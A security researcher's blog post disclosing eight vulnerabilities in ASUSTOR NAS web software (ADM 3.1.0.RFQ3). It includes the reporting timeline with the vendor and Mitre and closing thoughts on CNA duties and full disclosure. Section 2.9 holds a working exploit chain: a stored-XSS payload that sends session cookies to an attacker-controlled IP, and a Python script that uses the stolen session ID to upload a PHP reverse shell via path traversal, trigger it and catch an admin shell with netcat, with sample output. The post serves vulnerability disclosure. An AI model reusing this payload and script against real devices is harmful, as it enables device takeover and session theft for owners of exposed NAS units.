Posted by
Share this article
1. Vulnerability Discovery, Exploitation and Disclosure
1.1 Introduction and Background
Recently I have been using my free time to perform independent research, learning and bug hunting in products, mostly for fun, however I have reported bugs to vendors to request CVEs that would be associated with me. Nothing is completely free! To me this seems like a good deal, due to the fact the vendors are essentially getting a free security assessment and can then create mitigations that show they are proactive in nature.
One of the vendors I’ve reported bugs to is ASUSTOR, a subsidiary of Asus that manufactures small business/home office NAS units, along with development of the OS and associated plugins. One of the reasons I started looking at bugs for the ASUSTOR NAS is that I purchased one and when I put a device on my home network, I tend to look into the device in order to determine if there are vulnerabilities that may be present.
Throughout this post I aim to show the timeline of reporting the vulnerabilities to ASUSTOR and then ultimately attempting to contact Mitre, the proof of concept exploitation for the vulnerabilities, one chained exploit, CNA responsibilities and thoughts on full disclosure.
Let me preface the product is quite niche, and the vulnerabilities are pretty standard, but leveraged together are kind of fun as you’ll see in the chain exploit below .
1.2 Timeline of Reporting
One of the things I’ve learned when dealing with clients, customers and colleagues is that communication is a critical skill and one that should be honored , especially if you wish to continue to have a good relationship. While instant responses are not always possible or required, there is an unwritten standard that corporations and individuals should adhere to, and when people are submitting unpaid reports to vendors, acknowledgement is the least the vendor can do as the reporter is often just trying to aide them in creating a safer product for their customers.
The table below shows the timeline of reporting vulnerabilities to ASUSTOR and Mitre, with a small comment section:
DateContactCommentsFebruary 14th 2018 security@asustor.com Initial report of two vulnerabilities.
No response.
February 20th 2018 security@asustor.com 6 additional vulnerabilities reported.
No response.
February 27th 2018 security@asustor.com A reminder that a report was sent in, requesting a status update and simply hoping for a response.
No response.
March 6th 2018 Mitre web submission form requesting aide in dealing with non-responsive CNA. Initial response received from Mitre. March 14th 2018Mitre Sent a status update request, and received a response indicating they could not reach ASUSTOR essentially. March 14th 2018 security@asustor.com A 4th contact attempt from the initial report to attempt to get through to their security team. Reported the vulnerabilities with a different format.
No response.
April 1st 2018 Mitre Asked for a status update from Mitre.
No response.
April 2nd 2018 security@asustor.com & esupport@asustor.com Finally received a response from ASUSTOR, from the support team. Kevin has been the only one who has contacted me, indicating my report was sent to the PM for ADM.
No response from the security team April 25th 2018 esupport@asustor.com & security@asustor.com After seeing the release notes indicating they fixed the vulnerabilities I reported, I emailed asking when CVEs will be released. Kevin again from ASUSTOR responds.
No response from security team.
April 25th 2018 Mitre Asked for a status update, however at the time of this writing, no response is okay (less than 24 hours from email).
Below are emails sent to ASUSTOR. The first image below is the initial report of two vulnerabilities:
Figure 1. Initial report of vulnerabilities on Feb 14th 2018
The image below is the additional report of vulnerabilities:
Figure 2. Report of additional vulnerabilities on Feb 20th 2018
A gentle reminder requesting a response:
Figure 3. Reminder email sent
The image below is a 4th contact attempt with the ASUSTOR security team, as well including the report in a different format:
Figure 4. 4th contact attempt on March 14th
Finally, I received a contact back after I directly contacted their support team, through the online portal. The below is combined from April 2nd and April 25th 2018.
Figure 5. Email finally received from support
I really welcomed this email from Kevin from the ASUSTOR support team and had hoped that this would be the beginning of a contact from some on security team, in order to oblige CNA responsibilities.
Late on the 24th of April, I viewed change logs as I noticed a new version of the ADM had been released and saw that several vulnerabilities I reported may be mitigated, as shown below:
Figure 6. Potential fixes to vulnerabilities I reported
I haven’t tested if the current fixes mitigate the vulnerabilities I reported, as I was currently looking at other aspects in the previous version of ADM, 3.1. 0.RFQ 3. I had initially found these in vulnerabilities in 3.0. 5.RDU 1, however had updated in order to verify if they still existed in 3.1.0.RFQ3.
At this point I was a little bit dismayed due to the fact I felt I had followed responsible and coordinated disclosure principles, however I figured I would contact them one last time as seen in a previous email. The response from Kevin indicated that he believes they mitigated some of the vulnerabilities I reported and it was possible an organisation in Taiwan reported vulnerabilities after I had. This is shown below:
Figure 7. Email received from Kevin
While I appreciate the fact that ASUSTOR’s security team may be understaffed and under supported, I believe at least a response was warranted. I do really want to point out that Kevin from ASUSTOR’s support team has been quite responsive and would like to thank him for going above and beyond, as he may be the reason the vulnerabilities below may be mitigated.
I have elected to not include any emails between Mitre and myself as I believe they are bound by process and procedures, however I will touch upon this a bit more later in this post.
2. Proof of Concept Exploitation and Product Details
Well now that background has been provided, and if you’ve made it this far you’re probably wanting something a bit meatier. Please note I was guesstimating how many CVE identifiers were required in initial requests with ASUSTOR CNA contact, however, it’s likely five. To be useful, the vulnerabilities requiring chaining. All the vulnerabilities require some level of access, and some require elevated levels of access to abuse the functionality. At this time, I have focused any bug hunting in the ADM web application.
One other aspect I found was that if the cloud service was provisioned, it was possible to exploit these issues over the internet too, so an exposed ASUSTOR NAS device with weak/default credentials, could easily be compromised.
The below will be in the order I discovered vulnerabilities, details and proof of concept exploitation.
2.1 Product Details
Manufacturer: ASUSTOR
Model vulnerabilities discovered on: AS6202T
Software Version: 3.1.0.RFQ3 and below
2.2 Vulnerability 1
Type and location
Path Traversal in importuser.cgi
Suggested description
Directory traversal in importuser.cgi in ASUSTOR AS6202T ADM 3.1.0.RFQ3 allows attackers to navigate
file system via the filename parameter.
Attack vector
To exploit the vulnerability an administrative/authoritative user can import files and alter the file system
path. It is possible to write anywhere on the system using the directory traversal vulnerability and may
lead to code execution or information disclosure.
PoC exploitation
The following request traverses the file system to create a file in the ‘/tmp’ directory:
Figure 8. Path traversal
The following image shows that the file was created in the specified location:
Figure 9. File created in arbitrary location
This vulnerability is further leveraged in the following vulnerability to exploit an unrestricted file upload vulnerability.
2.3 Vulnerability 2
Type and location
Unrestricted file upload in importuser.cgi
Suggested description
An unrestricted file upload vulnerability in importuser.cgi in ASUSTOR AS6202T ADM 3.1.0.RFQ3 allows
attackers to upload supplied data to a specified filename. This can be used to place attacker controlled
code on the file system that is then executed.
Attack vector
To exploit the vulnerability an administrative/authoritative user can import files and alter the file system
path. It is possible to write anywhere on the system using the directory traversal vulnerability and may
lead to code execution or information disclosure. It is possible to obtain terminal level access despite ssh
being turned off for instance.
PoC exploitation
The following request traverses the filesystem and then places a small reverse shell code segment in a specified location:
Figure 10. Uploading a reverse shell
Upon accessing this file location, the reverse shell is then initiated with the awaiting netcat listener:
Figure 11. Obtaining system admin privilege shell
Admin privileges have full control over the entire NAS system.
2.4 Vulnerability 3
Type and location
Local File Include in download.cgi
Suggested description
A path traversal vulnerability in download.cgi in ASUSTOR AS6202T ADM 3.1.0.RFQ3 allows attackers to
arbitrarily specify a file on the system to download via the file1 parameter.
Attack vector
To exploit the vulnerability any authenticated user can arbitrarily specify the file on system to download.
PoC exploitation
As long as you are any authenticated user, it seemed it was possible to perform this attack, in order to read any file from the filesystem. In the case below, an unprivileged user was able to read the contents of the shadow file:
test
2.5 Vulnerability 4
Type and location
Insecure direct object reference in download.cgi
Suggested description
An insecure direct object reference vulnerability in download.cgi in ASUSTOR AS6202T ADM 3.1.0.RFQ3
allows the ability to reference the “download_sys_settings” action and then specify files arbitrarily
throughout the system via the act parameter.
Attack vector
To exploit the vulnerability an authenticated user can directly reference functions that are not enabled
for their user level.
PoC exploitation
This is essentially the same as previously shown. Several functionalities allow for IDOR.
2.6 Vulnerability 5 and 6
Type and location
Unrestricted file upload and directory traversal exists in upload.cgi
Suggested description
An unrestricted file upload vulnerability in upload.cgi in ASUSTOR AS6202T ADM 3.1.0.RFQ3 allows attackers to upload supplied data via the POST parameter filename. This can be used to place attacker
controlled code on the file system that can then be executed. Further the filename parameter is vulnerable to path traversal and allows the attacker to place the file anywhere on the system.
Attack vector
To exploit the vulnerability any authenticated user that can upload files and can alter the file system path. It is possible to write anywhere on the system using the directory traversal vulnerability and may lead to code execution or information disclosure. It is possible to obtain terminal level access despite ssh being turned off for instance.
PoC exploitation
The exploitation of this vulnerability is similar to Vulnerability 2, however this is conducted with a low privilege user and in the end, the user is granted with an administrative privileged shell.
The initial request is shown below:
Figure 13. Uploading a reverse shell to be executed
It is then possible to simply visit the URL and receive the shell with an awaiting netcat listener:
Figure 14. Reverse shell connected to listener
Despite the fact that a.php uploads as low privilege user “testing9”, a full administrative shell is possible due to the web server privileges.
2.7 Vulnerability 7
Type and location
Persistent cross site scripting in playlistmanager.cgi
Suggested description
A persistent cross site scripting vulnerability in playlistmanger.cgi in ASUSTOR SoundsGood application,
allows attackers to store cross site scripting payloads via the POST parameter ‘playlist’.
Attack vector
To exploit the vulnerability an authenticated user that has SoundsGood provisioned (default install) is
able to create a playlist that has a cross site scripting payload that is then stored and can be executed when navigating to that area of the application. This can be chained with other vulnerabilities that can be leveraged into uploading PHP code that is then executed.
PoC exploitation
This vulnerability on its own isn’t the end of the world, however it’s possible to use this vulnerability to obtain a valid SID value, and then chain other vulnerabilities above in order to place PHP code on the server that can be used to compromise the system completely.
Identifying payload is the old and trusty: <img src=”x” onerror=alert(2)>
This leads to execution of the payload as shown below:
Figure 15. Simple stored XSS
2.8 Vulnerability 8
Type and location
Path traversal in fileExplorer.cgi
Suggested description
A path traversal vulnerability in fileExplorer.cgi in ASUSTOR AS6202T ADM 3.1.0.RFQ3 allows attackers to
arbitrarily specify a path on the file on the system to create folders via the dest_folder parameter.
Attack Vector
To exploit the vulnerability any authenticated user can arbitrarily specify locations on the file system
when creating a folder, which may lead to file integrity issues.
PoC exploitation
This is quite similar to vulnerability 1, where it is possible to abuse fileExplorer.cgi in order to write out to the file system. The following image is the required request:
Figure 16. Path traversal in fileExplorer
The resulting folder is shown below:
2.9 Proof of Concept Chained Exploit
In order to chain exploits together I leveraged a stored XSS that would steal cookie data, then perform a CSRF to take advantage of path traversal and file upload vulnerabilities. Despite this being a very niche and probably seldom useful exploit, I thought it’d be fun to develop a full chain.
The initial payload can be included in a few locations, however I elected to use the previously identified vulnerability in playlist. The payload that will steal the cookies is as follows:
- <img%20src=x%20onerror=this.src=’https://192.168.1.254/?c=‘%2Bdocument.cookie>
This would of course change depending on your requirements.
After attempting several different payloads that would leverage a remote JavaScript, I thought of a different approach that would allow me to steal the cookie data to perform the necessary actions. What I ended up coming up with was a HTTP server that would listen for incoming connections, log and parse the data, send the payload and await the shell.
Please note, I didn’t perform any error handling and it’s definitely not as elegant as it could be, further I used a few cheesy tricks to get around some errors as I wanted to prototype this quick.
Prior to running the script, you should have input the payload into a vulnerable parameter, such as: https://192.168.1.82:8001/apps/soundsgood/playlistmanager.cgi?_dc=1524658206412 [post parameter payload ]
The request should look like this:
Figure 18. Persistent XSS
Exploit code is as follows:
#!/ usr /bin/python
”’
This exploit takes advantage of a persistent cross site scripting vulnerability within Asustor nas’s using
ADM 3.1. 0.RFQ 3 and below (I haven’t tested the current version yet).
CVE requests: I believe are pending, however the vendor has had zero contact with me, and I decided it was
time to to drop this based a changelog that indicates they fixed bugs I reported. Nothing mind blowing
but a fun way to chain bugs:)
The chain is essentially stored xss -> csrf -> path traversal -> unrestricted file upload, leading to
a adminsitrative shell
Author: matthew fulton
date: april 26th 2018
My original idea was fetching a remote javascript Payload however they did appear to have some defences against that and this seemed quicker to prototype.
XSS Payload to use on vulnerable parameters: <img%20src=x%20onerror=this.src=’http://<AttackerIP:<PORT> /?c =’%2Bdocument.cookie>
Came up with this late at night using Macosx , so may need a few tweaks os to os
Python 2.7.10
Just going to handle https here, but should be simple enough to modify if required, if anyone were to find this useful
Sample run:
sh-3.2# python asustor.py -t 192.168.1.82
This python script takes advntage of several bugs in order to achieve code execution against
the asustor ADM 3.1. 0.RFQ 3 and below.
author: matthew fulton
date: april 26 2018
Starting up HTTP server to steal SID value
Sleeping a few seconds until requests generate
Creating request based on SID value, prior to sending
Trying to send post data
Payload uploaded to: http://192.168.1.82/bibas123.php
Creating URL fetch daemon
Start up listner
starting netcat listener on port 4444
python -c ‘import pty;pty .spawn (“/bin/ sh “)’ # <– at this point you have a shell
/volume1/Web $ uname – a;id
uname – a;id
Linux AS6202T-961F 4.4.24 #1 SMP Mon Mar 26 02:57:14 CST 2018 x86_64 GNU/Linux
uid =999(admin) gid =999(administrators) groups=100(users),997( nvradmins ),999(administrators)
”’
from SimpleHTTPServer import SimpleHTTPRequestHandler
from BaseHTTPServer import HTTPServer
import logging, re
import sys, socket, threading, time, os
import urllib2
import ssl
import argparse
#setup option parsing
Help = “””Exploitation of several bugs outlined in post on company blog. This exploit will take advantage \
of several bugs within Asustor’s NAS products in order to achieve remote code execution. \
This goes without saying, it will likely never be useful, for anyone:) \
author: matthew fulton
“””
parser= argparse.ArgumentParser ( description = help )
parser.add_ argument ( ‘–target’ , ‘-t’ , default = “192.168.1.82” , help = “Target IP” , required = True )
parser.add_ argument ( ‘–port’ , ‘-p’ , default = “8001” )
parser.add_ argument ( ‘– lfile ‘ , ‘-l’ , help = “Full path to file to payload” , default = “payload.txt” )
parser.add_ argument ( ‘– rfile ‘ , ‘-r’ , help = “Remote system file name” , default = “bibas123.php” )
parser.add_ argument ( ‘– tuser ‘ , ‘-u’ , help = “Target user” , default = ” tadmin ” )
args = parser.parse _args ()
target = args.target
rport = args.port
localfile = args.lfile
remotefile = args.rfile
targetuser = args.tuser
#handling a specific user case here, will add parsing option fo
#url = “https://”+target+”:”+rport+”/portal/apis/fileExplorer/upload.cgi?sid=”+v+”&act=upload&overwrite=0&path=%2Fhome%2F”+tuser
#print url
# todo custom http server setup
PORT = 80
”’
Function purpose: to parse for a unique as_sid value that will be used lateron
”’
def parseLog ( ):
f= open ( ” logfile.txt” , “r ” )
s = f.read ()
q = s.split ( ‘;’ )[ 1 ]
result = re.search ( ” as_sid =(.*)$” ,q)
global v
v = result.group ( 1 )
f.close ()
return v
”’
This function is def doing a lot more than it ought to.
General idea: Start an simple http server instance, start logging of requests, call parselog function
If parselog function finds the as_sid value, terminate simplehttpserver
”’
def startHTTP ( ):
#start handler
server = HTTPServer ( ( ” , 80 ), SimpleHTTPRequestHandler )
thread = threading.Thread ( target = server.serve_forever )
thread.daemon = True
try :
thread.start ()
except KeyboardInterrupt :
server.shutdown ()
sys.exit ( 0 )
buffer = 192
sys.stderr = open ( ‘logfile.txt’ , ‘w’ , buffer)
”’
Creates and sends the request that will be uploaded using the sid obtained from the XSS
”’
def exploit( ):
print “Creating request based on SID value, prior to sending \n ”
#url = ” https://192.168.1.82:8001/portal/apis/fileExplorer/upload.cgi?sid=”+v+”&…
url = “https://” +target+ “:” +rport+ “/portal/apis/fileExplorer/upload.cgi?sid=” +v+ “&act=upload&overwrite=0&path=%2Fhome%2F” +targetuser
#open payload file for upload
f = open ( localfile , ‘r’ )
fileContents = f.read ()
f.close ()
#set header information
http_header = {
“Host ” : “192.168.1.82:8001” ,
“User-Agent ” : “Mozilla/5.0 (Windows NT 10.0; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0” ,
“Accept ” : “*/*” ,
“Accept-Language ” : ” en-us,en;q =0.5″ ,
“Accept-Encoding ” : ” gzip , deflate” ,
” Referer ” : “https://” +target+ “:” + rport + “/portal/?5A843C45” ,
“Content-Length” : “325” ,
“Content-type ” : “multipart/form-data; boundary=—————————157376534518655569631154630941” ,
“DNT” : “1” ,
“Connection ” : “close”
}
# Build the payload data that will be sent
data = ‘—————————–157376534518655569631154630941 \r\n ‘
data += ‘Content-Disposition: form-data; name= \” file \” ; filename= \ ” .. /../../volume1/Web/’ + remotefile + ‘ \”\r\n ‘
data += ‘Content-Type: application/octet-stream \r\n ‘
data += ‘ \r\n ‘ + fileContents + ‘ \r\n ‘
data += ‘ \r —————————–157376534518655569631154630941– \r\n ‘
#Set up context to ignorse ssl issues
ctx = ssl.create _default_context ()
ctx.check _hostname = False
ctx.verify _mode = ssl.CERT_NONE
req = urllib2.Request(url, data, http_header )
#cheesy, but want the socket to timeout after and this should ensure that
socket.setdefaulttimeout ( 5 )
#try to send POST data and say uhoh if it doesn’t work
try :
print “Trying to send post data”
res = urllib2.urlopen( req, context = ctx )
res.close ()
except Exception :
pass
# res.close ()
”’
For testing purposes just calling netcat via system, if i ever update this i’ll add in a custom
listener
”’
def revShell ( ):
print “starting netcat listener on port 4444”
os.system ( ” nc -l 4444″ )
class openURL ( object ):
def __ init __ ( self ,interval = 1 ):
self .interval = interval
thread = threading.Thread ( target = self .run , args =())
thread.daemon = True
thread.start ()
def run( self ):
while True :
turl = “http://” +target+ “/” + remotefile
response =urllib2.urlopen( turl )
time.sleep ( self .interval )
if __name__ == ‘__main__’ :
print “This python script takes advntage of several bugs in order to achieve code execution against”
print “the asustor ADM 3.1. 0.RFQ 3 and below.”
print “likely this will never be useful for anyone :)”
print “author: matthew fulton ”
print “date: april 26 2018”
print “Starting up HTTP server to steal SID value”
startHTTP ( )
print “Sleeping a few seconds until requests generate”
time.sleep ( 4 )
parseLog ( )
exploit( )
print “Payload uploaded to: http://” +target+ “/” +remotefile
print “Creating URL fetch daemon”
uopen = openURL ( )
time.sleep ( 3 )
print ” Start up listner ”
revShell ( )
The gif below shows the exploit in action:
The link below is to my github repo with the associated exploit:
Link to code: https://github.com/mefulton/asustorexploit/
2.10 Summary of Vulnerabilities
None of these vulnerabilities are really mind blowing on their own, however when chained together they can allow for the ability of full system compromise with very little effort. I had stopped looking at the device after I received no response, however I believe there are other vulnerabilities waiting to be found.
3. CNA and Mitre Responsibilities
One of the things I have really thought about since I attempted to report this is, what is the responsibility of the CNA? I think Mitre pretty clearly defines that CNA’s are supposed to be responsive and proactive in their approach. While I can appreciate the fact that they may be understaffed, simple acknowledgement goes a long way in creating a credible program, rather than one that simply is there for show.
More on CNA responsibilities can be found at the following URL:
https://cve.mitre.org/cve/cna/CNA_Rules_v2.0.pdf
To say I am disappointed from the security team at ASUSTOR would be an understatement, especially when they claim in various posts how they are being proactive and wish to have vulnerability reports sent into them. In the future, if I found any other vulnerabilities in ASUSTOR products, I would find myself hard-pressed to not just post it on full disclosure, as that may simply be the only option to get a response from them.
On the flip side, I’ve reported other vulnerabilities to other vendors that are CNA’s, and they’ve been responsive and have provided updates. A couple good examples of this is Oracle and IBM, who have both responded to me very receptively and have provided me details or requested more information, which I have been happy to oblige.
I don’t blame Mitre for anything really, however I do find that their communication really dropped off for no apparent reason. I also feel that they need to hold CNA’s that are unresponsive accountable and revoke more often when the CNA’s shirk their responsibilities.
4. Thoughts on Disclosure and Closeout
Another thought that recently has been crossing my mind a lot is, when reporting a vulnerability to a vendor, how thorough should I be? Or is it just better to go the full disclosure route and drop details and/or working exploits right away? I guess that’s a different topic that is probably more suitable for another post .
I will say that the infamous rgod had a tweet recently that I’ve thought about a lot more. To summarise: Never put the vendor in God mode, when reporting vulnerabilities, just report what is necessary. To see his full chain of thoughts, check out: https://twitter.com/rgod777/status/966631127032172544 . I unfortunately put ASUSTOR in God mode by providing them quite a few details in my opinion, so perhaps that’s why I did not receive any acknowledgment or communication. With that being said, I felt providing appropriate details would streamline the process.
I don’t know if the above vulnerabilities will earn CVE identifiers, however even if not credited to me, I certainly do believe they should receive CVE identifiers as to allow for tracking and proper vulnerability management, as some organisations patch management process requires CVSS scores for action.
Further, I hope that at some point that ASUSTOR takes their role as a CNA seriously and performs the tasks outlined, instead of this just being some PR stunt from them.
If you have any questions, feel free to reach out in the comments below and I’ll try to respond whenever I see them.
Contact us
Speak with a Tesserent
Security Specialist
Tesserent is a full-service cybersecurity and secure cloud services provider, partnering with clients from all industries and all levels of government. Let’s talk.
